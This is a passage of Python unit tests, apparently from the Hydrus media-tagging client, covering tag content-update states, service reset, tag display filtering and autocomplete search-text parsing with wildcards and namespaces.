) self.assertEqual( self._other_tags_manager.GetDeleted( self._content_update_service_key, ClientTags.TAG_DISPLAY_STORAGE ), set() ) self.assertEqual( self._other_tags_manager.GetPending( self._content_update_service_key, ClientTags.TAG_DISPLAY_STORAGE ), set() ) self.assertEqual( self._other_tags_manager.GetPetitioned( self._content_update_service_key, ClientTags.TAG_DISPLAY_STORAGE ), set() ) self.assertNotIn( 'hello', self._other_tags_manager.GetCurrent( CC.COMBINED_TAG_SERVICE_KEY, ClientTags.TAG_DISPLAY_STORAGE ) ) self.assertNotIn( 'hello', self._other_tags_manager.GetPending( CC.COMBINED_TAG_SERVICE_KEY, ClientTags.TAG_DISPLAY_STORAGE, ) ) # content_update = HydrusData.ContentUpdate( HC.CONTENT_TYPE_MAPPINGS, HC.CONTENT_UPDATE_DELETE, ( 'hello', hashes ) ) self._other_tags_manager.ProcessContentUpdate( self._content_update_service_key, content_update ) self.assertEqual( self._other_tags_manager.GetCurrent( self._content_update_service_key, ClientTags.TAG_DISPLAY_STORAGE ), set() ) self.assertEqual( self._other_tags_manager.GetDeleted( self._content_update_service_key, ClientTags.TAG_DISPLAY_STORAGE ), { 'hello' } ) self.assertEqual( self._other_tags_manager.GetPending( self._content_update_service_key, ClientTags.TAG_DISPLAY_STORAGE ), set() ) self.assertEqual( self._other_tags_manager.GetPetitioned( self._content_update_service_key, ClientTags.TAG_DISPLAY_STORAGE ), set() ) self.assertNotIn( 'hello', self._other_tags_manager.GetCurrent( CC.COMBINED_TAG_SERVICE_KEY, ClientTags.TAG_DISPLAY_STORAGE ) ) self.assertNotIn( 'hello', self._other_tags_manager.GetPending( CC.COMBINED_TAG_SERVICE_KEY, ClientTags.TAG_DISPLAY_STORAGE ) ) # content_update = HydrusData.ContentUpdate( HC.CONTENT_TYPE_MAPPINGS, HC.CONTENT_UPDATE_PEND, ( 'hello', hashes ) ) self._other_tags_manager.ProcessContentUpdate( self._content_update_service_key, content_update ) self.assertEqual( self._other_tags_manager.GetCurrent( self._content_update_service_key, ClientTags.TAG_DISPLAY_STORAGE ), set() ) self.assertEqual( self._other_tags_manager.GetDeleted( self._content_update_service_key, ClientTags.TAG_DISPLAY_STORAGE ), { 'hello' } ) self.assertEqual( self._other_tags_manager.GetPending( self._content_update_service_key, ClientTags.TAG_DISPLAY_STORAGE ), { 'hello' } ) self.assertEqual( self._other_tags_manager.GetPetitioned( self._content_update_service_key, ClientTags.TAG_DISPLAY_STORAGE ), set() ) self.assertNotIn( 'hello', self._other_tags_manager.GetCurrent( CC.COMBINED_TAG_SERVICE_KEY, ClientTags.TAG_DISPLAY_STORAGE ) ) self.assertIn( 'hello', self._other_tags_manager.GetPending( CC.COMBINED_TAG_SERVICE_KEY, ClientTags.TAG_DISPLAY_STORAGE ) ) # content_update = HydrusData.ContentUpdate( HC.CONTENT_TYPE_MAPPINGS, HC.CONTENT_UPDATE_RESCIND_PEND, ( 'hello', hashes ) ) self._other_tags_manager.ProcessContentUpdate( self._content_update_service_key, content_update ) self.assertEqual( self._other_tags_manager.GetCurrent( self._content_update_service_key, ClientTags.TAG_DISPLAY_STORAGE ), set() ) self.assertEqual( self._other_tags_manager.GetDeleted( self._content_update_service_key, ClientTags.TAG_DISPLAY_STORAGE ), { 'hello' } ) self.assertEqual( self._other_tags_manager.GetPending( self._content_update_service_key, ClientTags.TAG_DISPLAY_STORAGE ), set() ) self.assertEqual( self._other_tags_manager.GetPetitioned( self._content_update_service_key, ClientTags.TAG_DISPLAY_STORAGE ), set() ) self.assertNotIn( 'hello', self._other_tags_manager.GetCurrent( CC.COMBINED_TAG_SERVICE_KEY, ClientTags.TAG_DISPLAY_STORAGE ) ) self.assertNotIn( 'hello', self._other_tags_manager.GetPending( CC.COMBINED_TAG_SERVICE_KEY, ClientTags.TAG_DISPLAY_STORAGE ) ) # content_update = HydrusData.ContentUpdate( HC.CONTENT_TYPE_MAPPINGS, HC.CONTENT_UPDATE_PEND, ( 'hello', hashes ) ) self._other_tags_manager.ProcessContentUpdate( self._content_update_service_key, content_update ) self.assertEqual( self._other_tags_manager.GetCurrent( self._content_update_service_key, ClientTags.TAG_DISPLAY_STORAGE ), set() ) self.assertEqual( self._other_tags_manager.GetDeleted( self._content_update_service_key, ClientTags.TAG_DISPLAY_STORAGE ), { 'hello' } ) self.assertEqual( self._other_tags_manager.GetPending( self._content_update_service_key, ClientTags.TAG_DISPLAY_STORAGE ), { 'hello' } ) self.assertEqual( self._other_tags_manager.GetPetitioned( self._content_update_service_key, ClientTags.TAG_DISPLAY_STORAGE ), set() ) self.assertNotIn( 'hello', self._other_tags_manager.GetCurrent( CC.COMBINED_TAG_SERVICE_KEY, ClientTags.TAG_DISPLAY_STORAGE ) ) self.assertIn( 'hello', self._other_tags_manager.GetPending( CC.COMBINED_TAG_SERVICE_KEY, ClientTags.TAG_DISPLAY_STORAGE ) ) # content_update = HydrusData.ContentUpdate( HC.CONTENT_TYPE_MAPPINGS, HC.CONTENT_UPDATE_ADD, ( 'hello', hashes ) ) self._other_tags_manager.ProcessContentUpdate( self._content_update_service_key, content_update ) self.assertEqual( self._other_tags_manager.GetCurrent( self._content_update_service_key, ClientTags.TAG_DISPLAY_STORAGE ), { 'hello' } ) self.assertEqual( self._other_tags_manager.GetDeleted( self._content_update_service_key, ClientTags.TAG_DISPLAY_STORAGE ), set() ) self.assertEqual( self._other_tags_manager.GetPending( self._content_update_service_key, ClientTags.TAG_DISPLAY_STORAGE ), set() ) self.assertEqual( self._other_tags_manager.GetPetitioned( self._content_update_service_key, ClientTags.TAG_DISPLAY_STORAGE ), set() ) self.assertIn( 'hello', self._other_tags_manager.GetCurrent( CC.COMBINED_TAG_SERVICE_KEY, ClientTags.TAG_DISPLAY_STORAGE ) ) self.assertNotIn( 'hello', self._other_tags_manager.GetPending( CC.COMBINED_TAG_SERVICE_KEY, ClientTags.TAG_DISPLAY_STORAGE ) ) # content_update = HydrusData.ContentUpdate( HC.CONTENT_TYPE_MAPPINGS, HC.CONTENT_UPDATE_PETITION, ( 'hello', hashes ), reason = 'reason' ) self._other_tags_manager.ProcessContentUpdate( self._content_update_service_key, content_update ) self.assertEqual( self._other_tags_manager.GetCurrent( self._content_update_service_key, ClientTags.TAG_DISPLAY_STORAGE ), { 'hello' } ) self.assertEqual( self._other_tags_manager.GetDeleted( self._content_update_service_key, ClientTags.TAG_DISPLAY_STORAGE ), set() ) self.assertEqual( self._other_tags_manager.GetPending( self._content_update_service_key, ClientTags.TAG_DISPLAY_STORAGE ), set() ) self.assertEqual( self._other_tags_manager.GetPetitioned( self._content_update_service_key, ClientTags.TAG_DISPLAY_STORAGE ), { 'hello' } ) self.assertIn( 'hello', self._other_tags_manager.GetCurrent( CC.COMBINED_TAG_SERVICE_KEY, ClientTags.TAG_DISPLAY_STORAGE ) ) self.assertNotIn( 'hello', self._other_tags_manager.GetPending( CC.COMBINED_TAG_SERVICE_KEY, ClientTags.TAG_DISPLAY_STORAGE ) ) # content_update = HydrusData.ContentUpdate( HC.CONTENT_TYPE_MAPPINGS, HC.CONTENT_UPDATE_RESCIND_PETITION, ( 'hello', hashes ) ) self._other_tags_manager.ProcessContentUpdate( self._content_update_service_key, content_update ) self.assertEqual( self._other_tags_manager.GetCurrent( self._content_update_service_key, ClientTags.TAG_DISPLAY_STORAGE ), { 'hello' } ) self.assertEqual( self._other_tags_manager.GetDeleted( self._content_update_service_key, ClientTags.TAG_DISPLAY_STORAGE ), set() ) self.assertEqual( self._other_tags_manager.GetPending( self._content_update_service_key, ClientTags.TAG_DISPLAY_STORAGE ), set() ) self.assertEqual( self._other_tags_manager.GetPetitioned( self._content_update_service_key, ClientTags.TAG_DISPLAY_STORAGE ), set() ) self.assertIn( 'hello', self._other_tags_manager.GetCurrent( CC.COMBINED_TAG_SERVICE_KEY, ClientTags.TAG_DISPLAY_STORAGE ) ) self.assertNotIn( 'hello', self._other_tags_manager.GetPending( CC.COMBINED_TAG_SERVICE_KEY, ClientTags.TAG_DISPLAY_STORAGE ) ) # content_update = HydrusData.ContentUpdate( HC.CONTENT_TYPE_MAPPINGS, HC.CONTENT_UPDATE_PETITION, ( 'hello', hashes ), reason = 'reason' ) self._other_tags_manager.ProcessContentUpdate( self._content_update_service_key, content_update ) self.assertEqual( self._other_tags_manager.GetCurrent( self._content_update_service_key, ClientTags.TAG_DISPLAY_STORAGE ), { 'hello' } ) self.assertEqual( self._other_tags_manager.GetDeleted( self._content_update_service_key, ClientTags.TAG_DISPLAY_STORAGE ), set() ) self.assertEqual( self._other_tags_manager.GetPending( self._content_update_service_key, ClientTags.TAG_DISPLAY_STORAGE ), set() ) self.assertEqual( self._other_tags_manager.GetPetitioned( self._content_update_service_key, ClientTags.TAG_DISPLAY_STORAGE ), { 'hello' } ) self.assertIn( 'hello', self._other_tags_manager.GetCurrent( CC.COMBINED_TAG_SERVICE_KEY, ClientTags.TAG_DISPLAY_STORAGE ) ) self.assertNotIn( 'hello', self._other_tags_manager.GetPending( CC.COMBINED_TAG_SERVICE_KEY, ClientTags.TAG_DISPLAY_STORAGE ) ) # content_update = HydrusData.ContentUpdate( HC.CONTENT_TYPE_MAPPINGS, HC.CONTENT_UPDATE_DELETE, ( 'hello', hashes ) ) self._other_tags_manager.ProcessContentUpdate( self._content_update_service_key, content_update ) self.assertEqual( self._other_tags_manager.GetCurrent( self._content_update_service_key, ClientTags.TAG_DISPLAY_STORAGE ), set() ) self.assertEqual( self._other_tags_manager.GetDeleted( self._content_update_service_key, ClientTags.TAG_DISPLAY_STORAGE ), { 'hello' } ) self.assertEqual( self._other_tags_manager.GetPending( self._content_update_service_key, ClientTags.TAG_DISPLAY_STORAGE ), set() ) self.assertEqual( self._other_tags_manager.GetPetitioned( self._content_update_service_key, ClientTags.TAG_DISPLAY_STORAGE ), set() ) self.assertNotIn( 'hello', self._other_tags_manager.GetCurrent( CC.COMBINED_TAG_SERVICE_KEY, ClientTags.TAG_DISPLAY_STORAGE ) ) self.assertNotIn( 'hello', self._other_tags_manager.GetPending( CC.COMBINED_TAG_SERVICE_KEY, ClientTags.TAG_DISPLAY_STORAGE ) ) def test_reset_service( self ): self.assertEqual( self._other_tags_manager.GetCurrent( self._reset_service_key, ClientTags.TAG_DISPLAY_STORAGE ), { 'reset_current' } ) self.assertEqual( self._other_tags_manager.GetDeleted( self._reset_service_key, ClientTags.TAG_DISPLAY_STORAGE ), { 'reset_deleted' } ) self.assertEqual( self._other_tags_manager.GetPending( self._reset_service_key, ClientTags.TAG_DISPLAY_STORAGE ), { 'reset_pending' } ) self.assertEqual( self._other_tags_manager.GetPetitioned( self._reset_service_key, ClientTags.TAG_DISPLAY_STORAGE ), { 'reset_petitioned' } ) self._other_tags_manager.ResetService( self._reset_service_key ) self.assertEqual( self._other_tags_manager.GetCurrent( self._reset_service_key, ClientTags.TAG_DISPLAY_STORAGE ), set() ) self.assertEqual( self._other_tags_manager.GetDeleted( self._reset_service_key, ClientTags.TAG_DISPLAY_STORAGE ), set() ) self.assertEqual( self._other_tags_manager.GetPending( self._reset_service_key, ClientTags.TAG_DISPLAY_STORAGE ), set() ) self.assertEqual( self._other_tags_manager.GetPetitioned( self._reset_service_key, ClientTags.TAG_DISPLAY_STORAGE ), set() ) class TestTagDisplayManager( unittest.TestCase ): def test_tag_filtering( self ): filter_pages = HydrusTags.TagFilter() filter_pages.SetRule( 'page:', HC.FILTER_BLACKLIST ) tag_display_manager = ClientTagsHandling.TagDisplayManager() tag_display_manager.SetTagFilter( ClientTags.TAG_DISPLAY_SELECTION_LIST, CC.COMBINED_TAG_SERVICE_KEY, filter_pages ) tags = { 'character:samus aran', 'series:metroid', 'page:17' } # self.assertFalse( tag_display_manager.FiltersTags( ClientTags.TAG_DISPLAY_STORAGE, CC.COMBINED_TAG_SERVICE_KEY ) ) storage_tags = tag_display_manager.FilterTags( ClientTags.TAG_DISPLAY_STORAGE, CC.COMBINED_TAG_SERVICE_KEY, tags ) self.assertEqual( storage_tags, tags ) # self.assertTrue( tag_display_manager.FiltersTags( ClientTags.TAG_DISPLAY_SELECTION_LIST, CC.COMBINED_TAG_SERVICE_KEY ) ) selection_tags = tag_display_manager.FilterTags( ClientTags.TAG_DISPLAY_SELECTION_LIST, CC.COMBINED_TAG_SERVICE_KEY, tags ) self.assertTrue( len( selection_tags ) < len( tags ) ) self.assertEqual( selection_tags, filter_pages.Filter( tags ) ) class TestTagObjects( unittest.TestCase ): def test_parsed_autocomplete_text( self ): def bool_tests( pat: ClientSearch.ParsedAutocompleteText, values ): self.assertEqual( pat.IsAcceptableForFileSearches(), values[0] ) self.assertEqual( pat.IsAcceptableForTagSearches(), values[1] ) self.assertEqual( pat.IsEmpty(), values[2] ) self.assertEqual( pat.IsExplicitWildcard(), values[3] ) self.assertEqual( pat.IsNamespaceSearch(), values[4] ) self.assertEqual( pat.IsTagSearch(), values[5] ) self.assertEqual( pat.inclusive, values[6] ) def search_text_tests( pat: ClientSearch.ParsedAutocompleteText, values ): self.assertEqual( pat.GetSearchText( False ), values[0] ) self.assertEqual( pat.GetSearchText( True ), values[1] ) def read_predicate_tests( pat: ClientSearch.ParsedAutocompleteText, values ): self.assertEqual( pat.GetImmediateFileSearchPredicate(), values[0] ) self.assertEqual( pat.GetNonTagFileSearchPredicates(), values[1] ) def write_predicate_tests( pat: ClientSearch.ParsedAutocompleteText, values ): self.assertEqual( pat.GetAddTagPredicate(), values[0] ) tag_autocomplete_options = ClientTagsHandling.TagAutocompleteOptions( CC.COMBINED_TAG_SERVICE_KEY ) parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( '', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ False, False, True, False, False, False, True ] ) search_text_tests( parsed_autocomplete_text, [ '', '' ] ) # parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( '-', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ False, False, False, False, False, False, False ] ) search_text_tests( parsed_autocomplete_text, [ '', '' ] ) # parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( 'samus', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ True, True, False, False, False, True, True ] ) search_text_tests( parsed_autocomplete_text, [ 'samus', 'samus*' ] ) read_predicate_tests( parsed_autocomplete_text, [ ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_TAG, 'samus' ), [] ] ) write_predicate_tests( parsed_autocomplete_text, [ ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_TAG, 'samus' ) ] ) # parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( '-samus', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ True, True, False, False, False, True, False ] ) search_text_tests( parsed_autocomplete_text, [ 'samus', 'samus*' ] ) read_predicate_tests( parsed_autocomplete_text, [ ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_TAG, 'samus', inclusive = False ), [] ] ) # parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( 'samus*', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ True, True, False, True, False, False, True ] ) search_text_tests( parsed_autocomplete_text, [ 'samus*', 'samus*' ] ) read_predicate_tests( parsed_autocomplete_text, [ ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_WILDCARD, 'samus*' ), [ ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_WILDCARD, 'samus*' ) ] ] ) # parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( 'character:samus ', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ True, True, False, False, False, True, True ] ) search_text_tests( parsed_autocomplete_text, [ 'character:samus', 'character:samus*' ] ) read_predicate_tests( parsed_autocomplete_text, [ ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_TAG, 'character:samus' ), [] ] ) write_predicate_tests( parsed_autocomplete_text, [ ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_TAG, 'character:samus' ) ] ) # parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( '-character:samus ', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ True, True, False, False, False, True, False ] ) search_text_tests( parsed_autocomplete_text, [ 'character:samus', 'character:samus*' ] ) read_predicate_tests( parsed_autocomplete_text, [ ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_TAG, 'character:samus', inclusive = False ), [] ] ) # parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( 's*s', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ True, True, False, True, False, False, True ] ) search_text_tests( parsed_autocomplete_text, [ 's*s', 's*s*' ] ) read_predicate_tests( parsed_autocomplete_text, [ ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_WILDCARD, 's*s*' ), [ ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_WILDCARD, 's*s*' ), ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_WILDCARD, 's*s' ) ] ] ) # parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( '-s*s', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ True, True, False, True, False, False, False ] ) search_text_tests( parsed_autocomplete_text, [ 's*s', 's*s*' ] ) read_predicate_tests( parsed_autocomplete_text, [ ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_WILDCARD, 's*s*', inclusive = False ), [ ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_WILDCARD, 's*s*', inclusive = False ), ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_WILDCARD, 's*s', inclusive = False ) ] ] ) # parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( 'metroid:', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ True, False, False, False, True, False, True ] ) read_predicate_tests( parsed_autocomplete_text, [ ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_NAMESPACE, 'metroid' ), [ ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_NAMESPACE, 'metroid' ) ] ] ) # parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( '-metroid:', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ True, False, False, False, True, False, False ] ) read_predicate_tests( parsed_autocomplete_text, [ ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_NAMESPACE, 'metroid', inclusive = False ), [ ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_NAMESPACE, 'metroid', inclusive = False ) ] ] ) # parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( 's*s a*n', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ True, True, False, True, False, False, True ] ) search_text_tests( parsed_autocomplete_text, [ 's*s a*n', 's*s a*n*' ] ) read_predicate_tests( parsed_autocomplete_text, [ ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_WILDCARD, 's*s a*n*' ), [ ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_WILDCARD, 's*s a*n*' ), ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_WILDCARD, 's*s a*n' ) ] ] ) # parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( ' samus ', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ True, True, False, False, False, True, True ] ) search_text_tests( parsed_autocomplete_text, [ 'samus', 'samus*' ] ) read_predicate_tests( parsed_autocomplete_text, [ ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_TAG, 'samus' ), [] ] ) write_predicate_tests( parsed_autocomplete_text, [ ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_TAG, 'samus' ) ] ) # parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( '[samus]', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ True, True, False, False, False, True, True ] ) search_text_tests( parsed_autocomplete_text, [ 'samus', 'samus*' ] ) read_predicate_tests( parsed_autocomplete_text, [ ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_TAG, '[samus]' ), [] ] ) write_predicate_tests( parsed_autocomplete_text, [ ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_TAG, '[samus]' ) ] ) # parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( 'creator-id:', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ True, False, False, False, True, False, True ] ) read_predicate_tests( parsed_autocomplete_text, [ ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_NAMESPACE, 'creator-id' ), [ ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_NAMESPACE, 'creator-id' ) ] ] ) # parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( 'creator-id:*', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ True, False, False, True, True, False, True ] ) read_predicate_tests( parsed_autocomplete_text, [ ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_NAMESPACE, 'creator-id' ), [ ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_NAMESPACE, 'creator-id' ) ] ] ) # parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( 'n*n g*s e*n:as*ka', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ True, True, False, True, False, False, True ] ) search_text_tests( parsed_autocomplete_text, [ 'n*n g*s e*n:as*ka', 'n*n g*s e*n:as*ka*' ] ) read_predicate_tests( parsed_autocomplete_text, [ ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_WILDCARD, 'n*n g*s e*n:as*ka*' ), [ ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_WILDCARD, 'n*n g*s e*n:as*ka*' ), ClientSearch.Predicate( ClientSearch.PREDICATE_TYPE_WILDCARD, 'n*n g*s e*n:as*ka' ) ] ] ) # parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( 'system:samus ', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ True, True, False, False, False, True, True ] ) search_text_tests( parsed_autocomplete_text, [ 'samus', 'samus*' ] ) # # tag_autocomplete_options = ClientTagsHandling.TagAutocompleteOptions( CC.COMBINED_TAG_SERVICE_KEY ) search_namespaces_into_full_tags = True namespace_bare_fetch_all_allowed = False namespace_fetch_all_allowed = False fetch_all_allowed = False tag_autocomplete_options.SetTuple( tag_autocomplete_options.GetWriteAutocompleteTagDomain(), tag_autocomplete_options.OverridesWriteAutocompleteFileDomain(), tag_autocomplete_options.GetWriteAutocompleteFileDomain(), search_namespaces_into_full_tags, namespace_bare_fetch_all_allowed, namespace_fetch_all_allowed, fetch_all_allowed ) parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( '', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ False, False, True, False, False, False, True ] ) # parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( '-', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ False, False, False, False, False, False, False ] ) # parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( 'samus', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ True, True, False, False, False, True, True ] ) # parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( '*', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ False, False, False, True, False, False, True ] ) # parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( '*:*', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ False, False, False, True, False, False, True ] ) # parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( 'series:', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ True, True, False, False, True, False, True ] ) # parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( 'series:*', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ True, True, False, True, True, False, True ] ) # # tag_autocomplete_options = ClientTagsHandling.TagAutocompleteOptions( CC.COMBINED_TAG_SERVICE_KEY ) search_namespaces_into_full_tags = False namespace_bare_fetch_all_allowed = True namespace_fetch_all_allowed = False fetch_all_allowed = False tag_autocomplete_options.SetTuple( tag_autocomplete_options.GetWriteAutocompleteTagDomain(), tag_autocomplete_options.OverridesWriteAutocompleteFileDomain(), tag_autocomplete_options.GetWriteAutocompleteFileDomain(), search_namespaces_into_full_tags, namespace_bare_fetch_all_allowed, namespace_fetch_all_allowed, fetch_all_allowed ) parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( '', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ False, False, True, False, False, False, True ] ) # parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( '-', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ False, False, False, False, False, False, False ] ) # parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( 'samus', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ True, True, False, False, False, True, True ] ) # parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( '*', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ False, False, False, True, False, False, True ] ) # parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( '*:*', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ False, False, False, True, False, False, True ] ) # parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( 'series:', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ True, True, False, False, True, False, True ] ) # parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( 'series:*', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ True, True, False, True, True, False, True ] ) # # tag_autocomplete_options = ClientTagsHandling.TagAutocompleteOptions( CC.COMBINED_TAG_SERVICE_KEY ) search_namespaces_into_full_tags = False namespace_bare_fetch_all_allowed = False namespace_fetch_all_allowed = True fetch_all_allowed = False tag_autocomplete_options.SetTuple( tag_autocomplete_options.GetWriteAutocompleteTagDomain(), tag_autocomplete_options.OverridesWriteAutocompleteFileDomain(), tag_autocomplete_options.GetWriteAutocompleteFileDomain(), search_namespaces_into_full_tags, namespace_bare_fetch_all_allowed, namespace_fetch_all_allowed, fetch_all_allowed ) parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( '', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ False, False, True, False, False, False, True ] ) # parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( '-', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ False, False, False, False, False, False, False ] ) # parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( 'samus', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ True, True, False, False, False, True, True ] ) # parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( '*', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ False, False, False, True, False, False, True ] ) # parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( '*:*', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ False, False, False, True, False, False, True ] ) # parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( 'series:', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ True, False, False, False, True, False, True ] ) # parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( 'series:*', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ True, True, False, True, True, False, True ] ) # # tag_autocomplete_options = ClientTagsHandling.TagAutocompleteOptions( CC.COMBINED_TAG_SERVICE_KEY ) search_namespaces_into_full_tags = False namespace_bare_fetch_all_allowed = False namespace_fetch_all_allowed = True fetch_all_allowed = True tag_autocomplete_options.SetTuple( tag_autocomplete_options.GetWriteAutocompleteTagDomain(), tag_autocomplete_options.OverridesWriteAutocompleteFileDomain(), tag_autocomplete_options.GetWriteAutocompleteFileDomain(), search_namespaces_into_full_tags, namespace_bare_fetch_all_allowed, namespace_fetch_all_allowed, fetch_all_allowed ) parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( '', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ False, False, True, False, False, False, True ] ) # parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( '-', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ False, False, False, False, False, False, False ] ) # parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( 'samus', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ True, True, False, False, False, True, True ] ) # parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( '*', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ False, True, False, True, False, False, True ] ) # parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( '*:*', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ False, True, False, True, False, False, True ] ) # parsed_autocomplete_text = ClientSearch.ParsedAutocompleteText( 'series:*', tag_autocomplete_options, True ) bool_tests( parsed_autocomplete_text, [ True, True, False, True, True, False, True ] ) def test_predicate_results_cache_init( self ): tag_autocomplete_options = ClientTagsHandling.TagAutocompleteOptions( CC.COMBINED_TAG_SERVICE_KEY ) search_namespaces_into_full_tags = False namespace_bare_fetch_all_allowed = False namespace_fetch_all_allowed = False fetch_all_allowed = False tag_autocomplete_options.SetTuple( tag_autocomplete_options.GetWriteAutocompleteTagDomain(), tag_autocomplete_options.OverridesWriteAutocompleteFileDomain(), tag_autocomplete_options.GetWriteAutocompleteFileDomain(), search_namespaces_into_full_tags, namespace_bare_fetch_all_allowed, namespace_fetch_all_allowed, fetch_all_allowed ) pat_empty = ClientSearch.ParsedAutocompleteText( '', tag_autocomplete_options, True ) pat_samus = ClientSearch.ParsedAutocompleteText( 'samus', tag_autocomplete_options, True ) pat_samus_ar = ClientSearch.ParsedAutocompleteText( 'samus ar', tag_autocomplete_options, True ) pat_samus_br = ClientSearch.ParsedAutocompleteText( 'samus br', 